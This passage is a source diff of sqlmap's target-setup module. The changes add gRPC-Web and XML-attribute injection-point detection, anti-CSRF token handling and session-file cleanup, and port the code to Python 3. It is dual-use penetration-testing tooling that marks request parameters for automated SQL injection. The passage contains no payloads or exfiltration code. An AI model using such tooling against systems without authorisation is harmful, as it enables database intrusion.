ARRAY_LIKE_RECOGNITION_REGEX -from lib.core.settings import JSON_RECOGNITION_REGEX +from lib.core.settings import INJECT_HERE_REGEX from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX +from lib.core.settings import JSON_RECOGNITION_REGEX from lib.core.settings import MULTIPART_RECOGNITION_REGEX from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import REFERER_ALIASES from lib.core.settings import RESTORE_MERGED_OPTIONS from lib.core.settings import RESULTS_FILE_FORMAT +from lib.core.settings import SESSION_SQLITE_FILE from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING @@ -64,9 +76,13 @@ from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import XML_RECOGNITION_REGEX +from lib.core.threads import getCurrentThreadData +from lib.utils.grpcweb import CONTENT_TYPE as grpcWebContentType +from lib.utils.grpcweb import decodeBody as grpcDecodeBody from lib.utils.hashdb import HashDB -from lib.core.xmldump import dumper as xmldumper -from thirdparty.odict.odict import OrderedDict +from thirdparty import six +from collections import OrderedDict +from thirdparty.six.moves import urllib as _urllib def _setRequestParams(): """ @@ -78,6 +94,7 @@ def _setRequestParams(): conf.parameters[None] = "direct connection" return + hintNames = [] testableParameters = False # Perform checks on GET parameters @@ -91,110 +108,174 @@ def _setRequestParams(): # Perform checks on POST parameters if conf.method == HTTPMETHOD.POST and conf.data is None: - logger.warn("detected empty POST body") + logger.warning("detected empty POST body") conf.data = "" if conf.data is not None: - conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method - hintNames = [] + conf.method = conf.method or HTTPMETHOD.POST + + # probe (side-effect-free) whether this is a gRPC-Web body; if so, expose its string fields as a + # JSON view so the standard JSON injection path can process it. The skeleton is committed to + # kb.grpcWeb (and the JSON view kept) ONLY on user acceptance below; if declined, the original + # body is restored so it is sent verbatim (never the JSON surrogate) + kb.grpcWeb = None + _grpcOriginalData = conf.data + _grpcView, _grpcSkeleton = grpcDecodeBody(conf.data) + if _grpcView is not None: + conf.data = _grpcView def process(match, repl): retVal = match.group(0) - if not (conf.testParameter and match.group("name") not in conf.testParameter): + if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'): retVal = repl while True: _ = re.search(r"\\g<([^>]+)>", retVal) if _: - retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + try: + retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + except IndexError: + break else: break - if CUSTOM_INJECTION_MARK_CHAR in retVal: - hintNames.append((retVal.split(CUSTOM_INJECTION_MARK_CHAR)[0], match.group("name"))) + if kb.customInjectionMark in retVal: + hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name"))) + return retVal - if kb.processUserMarks is None and CUSTOM_INJECTION_MARK_CHAR in conf.data: - message = "custom injection marking character ('%s') found in option " % CUSTOM_INJECTION_MARK_CHAR - message += "'--data'. Do you want to process it? [Y/n/q] " - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): + if kb.processUserMarks is None and kb.customInjectionMark in conf.data: + message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method) + message += "body. Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': raise SqlmapUserQuitException else: - kb.processUserMarks = not test or test[0] not in ("n", "N") + kb.processUserMarks = choice == 'Y' if kb.processUserMarks: kb.testOnlyCustom = True - if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data): - if re.search(JSON_RECOGNITION_REGEX, conf.data): - message = "JSON data found in %s data. " % conf.method - message += "Do you want to process it? [Y/n/q] " - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): - raise SqlmapUserQuitException - elif test[0] not in ("n", "N"): + if re.search(JSON_RECOGNITION_REGEX, conf.data): + if _grpcSkeleton: + message = "gRPC-Web text data found in %s body. Do you want to process its detected string fields? [Y/n/q] " % conf.method + else: + message = "JSON data found in %s body. Do you want to process it? [Y/n/q] " % conf.method + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + kb.postHint = POST_HINT.GRPC_WEB if _grpcSkeleton else POST_HINT.JSON + if _grpcSkeleton: + kb.grpcWeb = _grpcSkeleton # commit only on acceptance + # force a grpc-web-text response (the only kind this cut decodes) by REPLACING any + # existing Accept - a captured 'Accept: */*', or an explicit 'q=0' we cannot honor + for _index, (_header, _value) in enumerate(conf.httpHeaders or []): + if _header.lower() == HTTP_HEADER.ACCEPT.lower(): + conf.httpHeaders[_index] = (_header, grpcWebContentType) + break + else: + conf.httpHeaders.append((HTTP_HEADER.ACCEPT, grpcWebContentType)) + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) - conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) - conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data) - conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data) - match = re.search(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) - if match and not (conf.testParameter and match.group("name") not in conf.testParameter): - _ = match.group(2) - _ = re.sub(r'("[^"]+)"', '\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR, _) - _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR, _) - conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) - kb.postHint = POST_HINT.JSON - - elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): - message = "JSON-like data found in %s data. " % conf.method - message += "Do you want to process it? [Y/n/q] " - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): - raise SqlmapUserQuitException - elif test[0] not in ("n", "N"): + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*".*?)"(?%s"' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*")"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) + for match in re.finditer(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data): + if not (conf.testParameter and match.group("name") not in conf.testParameter): + _ = match.group(2) + if kb.customInjectionMark not in _: # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3]) + _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _) + _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _) + conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) + + elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): + message = "JSON-like data found in %s body. " % conf.method + message += "Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + kb.postHint = POST_HINT.JSON_LIKE + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) - conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) - conf.data = re.sub(r"('(?P[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data) - conf.data = re.sub(r"('(?P[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data) - kb.postHint = POST_HINT.JSON_LIKE - - elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): - message = "Array-like data found in %s data. " % conf.method - message += "Do you want to process it? [Y/n/q] " - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): - raise SqlmapUserQuitException - elif test[0] not in ("n", "N"): - conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) - conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % CUSTOM_INJECTION_MARK_CHAR, conf.data) - kb.postHint = POST_HINT.ARRAY_LIKE - - elif re.search(XML_RECOGNITION_REGEX, conf.data): - message = "SOAP/XML data found in %s data. " % conf.method - message += "Do you want to process it? [Y/n/q] " - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): - raise SqlmapUserQuitException - elif test[0] not in ("n", "N"): + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + if '"' in conf.data: + conf.data = re.sub(r'((?P"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'((?P"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data) + else: + conf.data = re.sub(r"((?P'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data) + conf.data = re.sub(r"((?P'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data) + + elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): + message = "Array-like data found in %s body. " % conf.method + message += "Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + kb.postHint = POST_HINT.ARRAY_LIKE + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data) + + elif re.search(XML_RECOGNITION_REGEX, conf.data): + message = "SOAP/XML data found in %s body. " % conf.method + message += "Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) - conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) - conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) - kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML - - elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): - message = "Multipart-like data found in %s data. " % conf.method - message += "Do you want to process it? [Y/n/q] " - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): - raise SqlmapUserQuitException - elif test[0] not in ("n", "N"): + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % kb.customInjectionMark), conf.data) + + # Also expose XML attribute values (e.g. ) as injection points, not just + # element text (Reference: https://github.com/sqlmapproject/sqlmap/issues/5993). Done per + # opening tag (skipping declarations, and closing tags) so every attribute + # is covered while the XML declaration/namespaces are left intact. + def processAttributes(match): + def _attr(m): + name = m.group("name") + if name == "xmlns" or name.startswith("xmlns:"): # namespace declarations are not injection points + return m.group(0) + if conf.testParameter and name not in (removePostHintPrefix(_) for _ in conf.testParameter): + return m.group(0) + hintNames.append(("%s%s%s" % (m.group(1), m.group(3), m.group(4)), name)) + return "%s%s%s%s%s" % (m.group(1), m.group(3), m.group(4), kb.customInjectionMark, m.group(5)) + return re.sub(r'(\s(?P[\w:.-]+)\s*=\s*)(["\'])([^"\'<>]*)(["\'])', _attr, match.group(0)) + conf.data = re.sub(r"(?s)<[^>?!/][^>]*>", processAttributes, conf.data) + + elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): + message = "Multipart-like data found in %s body. " % conf.method + message += "Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + kb.postHint = POST_HINT.MULTIPART + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) - conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) - conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) - kb.postHint = POST_HINT.MULTIPART + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + conf.data = re.sub(r"(?si)(Content-Disposition:[^\n]+\s+name=\"(?P[^\"]+)\"(?:[^f|^b]|f(?!ilename=)|b(?!oundary=))*?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'), + functools.partial(process, repl=r"\g<1>%s\g<3>" % kb.customInjectionMark), conf.data) + + # a gRPC-Web body that was NOT accepted as GRPC_WEB (declined prompt) must be sent verbatim, + # not as the JSON surrogate that was temporarily swapped into conf.data for detection + if _grpcSkeleton is not None and kb.postHint != POST_HINT.GRPC_WEB: + conf.data = _grpcOriginalData if not kb.postHint: - if CUSTOM_INJECTION_MARK_CHAR in conf.data: # later processed + if kb.customInjectionMark in conf.data: # later processed pass else: place = PLACE.POST @@ -206,53 +287,57 @@ def process(match, repl): conf.paramDict[place] = paramDict testableParameters = True else: - if CUSTOM_INJECTION_MARK_CHAR not in conf.data: # in case that no usable parameter values has been found + if kb.customInjectionMark not in conf.data: # in case that no usable parameter values has been found conf.parameters[PLACE.POST] = conf.data - kb.processUserMarks = True if (kb.postHint and CUSTOM_INJECTION_MARK_CHAR in conf.data) else kb.processUserMarks + kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks - if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not CUSTOM_INJECTION_MARK_CHAR in (conf.data or "") and conf.url.startswith("http"): + if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"): warnMsg = "you've provided target URL without any GET " - warnMsg += "parameters (e.g. www.site.com/article.php?id=1) " + warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') " warnMsg += "and without providing any POST parameters " - warnMsg += "through --data option" - logger.warn(warnMsg) + warnMsg += "through option '--data'" + logger.warning(warnMsg) message = "do you want to try URI injections " message += "in the target URL itself? [Y/n/q] " - test = readInput(message, default="Y") + choice = readInput(message, default='Y').upper() - if test and test[0] in ("q", "Q"): + if choice == 'Q': raise SqlmapUserQuitException - elif not test or test[0] not in ("n", "N"): - conf.url = "%s%s" % (conf.url, CUSTOM_INJECTION_MARK_CHAR) + elif choice == 'Y': + conf.url = "%s%s" % (conf.url, kb.customInjectionMark) kb.processUserMarks = True for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))): + if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)): + continue + _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or "" - if CUSTOM_INJECTION_MARK_CHAR in _: + if kb.customInjectionMark in _: if kb.processUserMarks is None: lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'} - message = "custom injection marking character ('%s') found in option " % CUSTOM_INJECTION_MARK_CHAR + message = "custom injection marker ('%s') found in option " % kb.customInjectionMark message += "'%s'. Do you want to process it? [Y/n/q] " % lut[place] - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): + choice = readInput(message, default='Y').upper() + + if choice == 'Q': raise SqlmapUserQuitException else: - kb.processUserMarks = not test or test[0] not in ("n", "N") + kb.processUserMarks = choice == 'Y' if kb.processUserMarks: kb.testOnlyCustom = True - if "=%s" % CUSTOM_INJECTION_MARK_CHAR in _: + if "=%s" % kb.customInjectionMark in _: warnMsg = "it seems that you've provided empty parameter value(s) " warnMsg += "for testing. Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" - logger.warn(warnMsg) + logger.warning(warnMsg) if not kb.processUserMarks: if place == PLACE.URI: - query = urlparse.urlsplit(value).query + query = _urllib.parse.urlsplit(value).query if query: parameters = conf.parameters[PLACE.GET] = query paramDict = paramToDict(PLACE.GET, parameters) @@ -270,19 +355,22 @@ def process(match, repl): testableParameters = True else: + if place == PLACE.URI: + value = conf.url = conf.url.replace('+', "%20") # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5123 + conf.parameters[place] = value conf.paramDict[place] = OrderedDict() if place == PLACE.CUSTOM_HEADER: for index in xrange(len(conf.httpHeaders)): header, value = conf.httpHeaders[index] - if CUSTOM_INJECTION_MARK_CHAR in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value): - parts = value.split(CUSTOM_INJECTION_MARK_CHAR) + if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value): + parts = value.split(kb.customInjectionMark) for i in xrange(len(parts) - 1): - conf.paramDict[place]["%s #%d%s" % (header, i + 1, CUSTOM_INJECTION_MARK_CHAR)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], CUSTOM_INJECTION_MARK_CHAR if i == j else "") for j in xrange(len(parts)))) - conf.httpHeaders[index] = (header, value.replace(CUSTOM_INJECTION_MARK_CHAR, "")) + conf.paramDict[place]["%s #%d%s" % (header, i + 1, kb.customInjectionMark)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts)))) + conf.httpHeaders[index] = (header, value.replace(kb.customInjectionMark, "")) else: - parts = value.split(CUSTOM_INJECTION_MARK_CHAR) + parts = value.split(kb.customInjectionMark) for i in xrange(len(parts) - 1): name = None @@ -292,8 +380,8 @@ def process(match, repl): name = "%s %s" % (kb.postHint, _) break if name is None: - name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, CUSTOM_INJECTION_MARK_CHAR) - conf.paramDict[place][name] = "".join("%s%s" % (parts[j], CUSTOM_INJECTION_MARK_CHAR if i == j else "") for j in xrange(len(parts))) + name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, kb.customInjectionMark) + conf.paramDict[place][name] = "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts))) if place == PLACE.URI and PLACE.GET in conf.paramDict: del conf.paramDict[PLACE.GET] @@ -305,7 +393,7 @@ def process(match, repl): if kb.processUserMarks: for item in ("url", "data", "agent", "referer", "cookie"): if conf.get(item): - conf[item] = conf[item].replace(CUSTOM_INJECTION_MARK_CHAR, "") + conf[item] = conf[item].replace(kb.customInjectionMark, "") # Perform checks on Cookie parameters if conf.cookie: @@ -318,39 +406,46 @@ def process(match, repl): # Perform checks on header values if conf.httpHeaders: - for httpHeader, headerValue in conf.httpHeaders: + for httpHeader, headerValue in list(conf.httpHeaders): # Url encoding of the header values should be avoided # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value - httpHeader = httpHeader.title() - - if httpHeader == HTTP_HEADER.USER_AGENT: + if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper(): conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue) - condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES))) + condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True))) if condition: conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue} testableParameters = True - elif httpHeader == HTTP_HEADER.REFERER: + elif httpHeader.upper() == HTTP_HEADER.REFERER.upper(): conf.parameters[PLACE.REFERER] = urldecode(headerValue) - condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES))) + condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True))) if condition: conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue} testableParameters = True - elif httpHeader == HTTP_HEADER.HOST: + elif httpHeader.upper() == HTTP_HEADER.HOST.upper(): conf.parameters[PLACE.HOST] = urldecode(headerValue) - condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES))) + condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True))) if condition: conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue} testableParameters = True + else: + condition = intersect(conf.testParameter, [httpHeader], True) + + if condition: + conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders) + conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)} + conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders] + testableParameters = True + if not conf.parameters: errMsg = "you did not provide any GET, POST and Cookie " errMsg += "parameter, neither an User-Agent, Referer or Host header value" @@ -362,20 +457,26 @@ def process(match, repl): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}): - errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): + errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) else: for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE): + if conf.csrfToken: + break + for parameter in conf.paramDict.get(place, {}): if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): - message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter) + message = "%sparameter '%s' appears to hold anti-CSRF token. " % ("%s " % place if place != parameter else "", parameter) message += "Do you want sqlmap to automatically update it in further requests? [y/N] " - test = readInput(message, default="N") - if test and test[0] in ("y", "Y"): - conf.csrfToken = parameter - break + + if readInput(message, default='N', boolean=True): + class _(six.text_type): + pass + conf.csrfToken = _(re.escape(getUnicode(parameter))) + conf.csrfToken._original = getUnicode(parameter) + break def _setHashDB(): """ @@ -383,17 +484,28 @@ def _setHashDB(): """ if not conf.hashDBFile: - conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, "session.sqlite") + conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE) + + if conf.flushSession: + if os.path.exists(conf.hashDBFile): + if conf.hashDB: + conf.hashDB.closeAll() - if os.path.exists(conf.hashDBFile): - if conf.flushSession: try: os.remove(conf.hashDBFile) logger.info("flushing session file") - except OSError, msg: - errMsg = "unable to flush the session file (%s)" % msg + except OSError as ex: + errMsg = "unable to flush the session file ('%s')" % getSafeExString(ex) raise SqlmapFilePathException(errMsg) + for suffix in ("-shm", "-wal"): + leftover = conf.hashDBFile + suffix + if os.path.exists(leftover): + try: + os.remove(leftover) + except OSError: + pass + conf.hashDB = HashDB(conf.hashDBFile) def _resumeHashDBValues(): @@ -406,10 +518,12 @@ def _resumeHashDBValues(): kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings - kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable + # Note: the value is stored as text ("True"/"False"); coerce back to bool, otherwise a resumed + # "False" is a truthy string and would wrongly mark xp_cmdshell as available + kb.xpCmdshellAvailable = (hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) == str(True)) or kb.xpCmdshellAvailable kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH) - if kb.errorChunkLength and kb.errorChunkLength.isdigit(): + if isNumPosStrValue(kb.errorChunkLength): kb.errorChunkLength = int(kb.errorChunkLength) else: kb.errorChunkLength = None @@ -417,15 +531,13 @@ def _resumeHashDBValues(): conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: - if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \ - injection.parameter in conf.paramDict[injection.place]: - - if not conf.tech or intersect(conf.tech, injection.data.keys()): - if intersect(conf.tech, injection.data.keys()): - injection.data = dict(filter(lambda (key, item): key in conf.tech, injection.data.items())) - + if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]: + if not conf.technique or intersect(conf.technique, injection.data.keys()): + if intersect(conf.technique, injection.data.keys()): + injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.technique) if injection not in kb.injections: kb.injections.append(injection) + kb.vulnHosts.add(conf.hostname) _resumeDBMS() _resumeOS() @@ -438,12 +550,18 @@ def _resumeDBMS(): value = hashDBRetrieve(HASHDB_KEYS.DBMS) if not value: - return + if conf.offline: + errMsg = "unable to continue in offline mode " + errMsg += "because of lack of usable " + errMsg += "session data" + raise SqlmapNoneDataException(errMsg) + else: + return dbms = value.lower() dbmsVersion = [UNKNOWN_DBMS_VERSION] - _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) - _ = re.search("%s ([\d\.]+)" % _, dbms, re.I) + _ = "(%s)" % ('|'.join(SUPPORTED_DBMS)) + _ = re.search(r"\A%s (.*)" % _, dbms, re.I) if _: dbms = _.group(1).lower() @@ -462,9 +580,8 @@ def _resumeDBMS(): message += "sqlmap assumes the back-end DBMS is '%s'. " % dbms message += "Do you really want to force the back-end " message += "DBMS value? [y/N] " - test = readInput(message, default="N") - if not test or test[0] in ("n", "N"): + if not readInput(message, default='N', boolean=True): conf.dbms = None Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) @@ -498,9 +615,8 @@ def _resumeOS(): message += "operating system is %s. " % os message += "Do you really want to force the back-end DBMS " message += "OS value? [y/N] " - test = readInput(message, default="N") - if not test or test[0] in ("n", "N"): + if not readInput(message, default='N', boolean=True): conf.os = os else: conf.os = os @@ -517,46 +633,51 @@ def _setResultsFile(): return if not conf.resultsFP: - conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) + conf.resultsFile = conf.resultsFile or os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) + found = os.path.exists(conf.resultsFile) + try: - conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) - except (OSError, IOError), ex: + conf.resultsFP = openFile(conf.resultsFile, "a", UNICODE_ENCODING, buffering=0) + except (OSError, IOError) as ex: try: - warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex)) - conf.resultsFilename = tempfile.mkstemp(prefix="sqlmapresults-", suffix=".csv")[1] - conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) - warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename - logger.warn(warnMsg) - except IOError, _: + warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFile, getUnicode(ex)) + handle, conf.resultsFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv") + os.close(handle) + conf.resultsFP = openFile(conf.resultsFile, "w+", 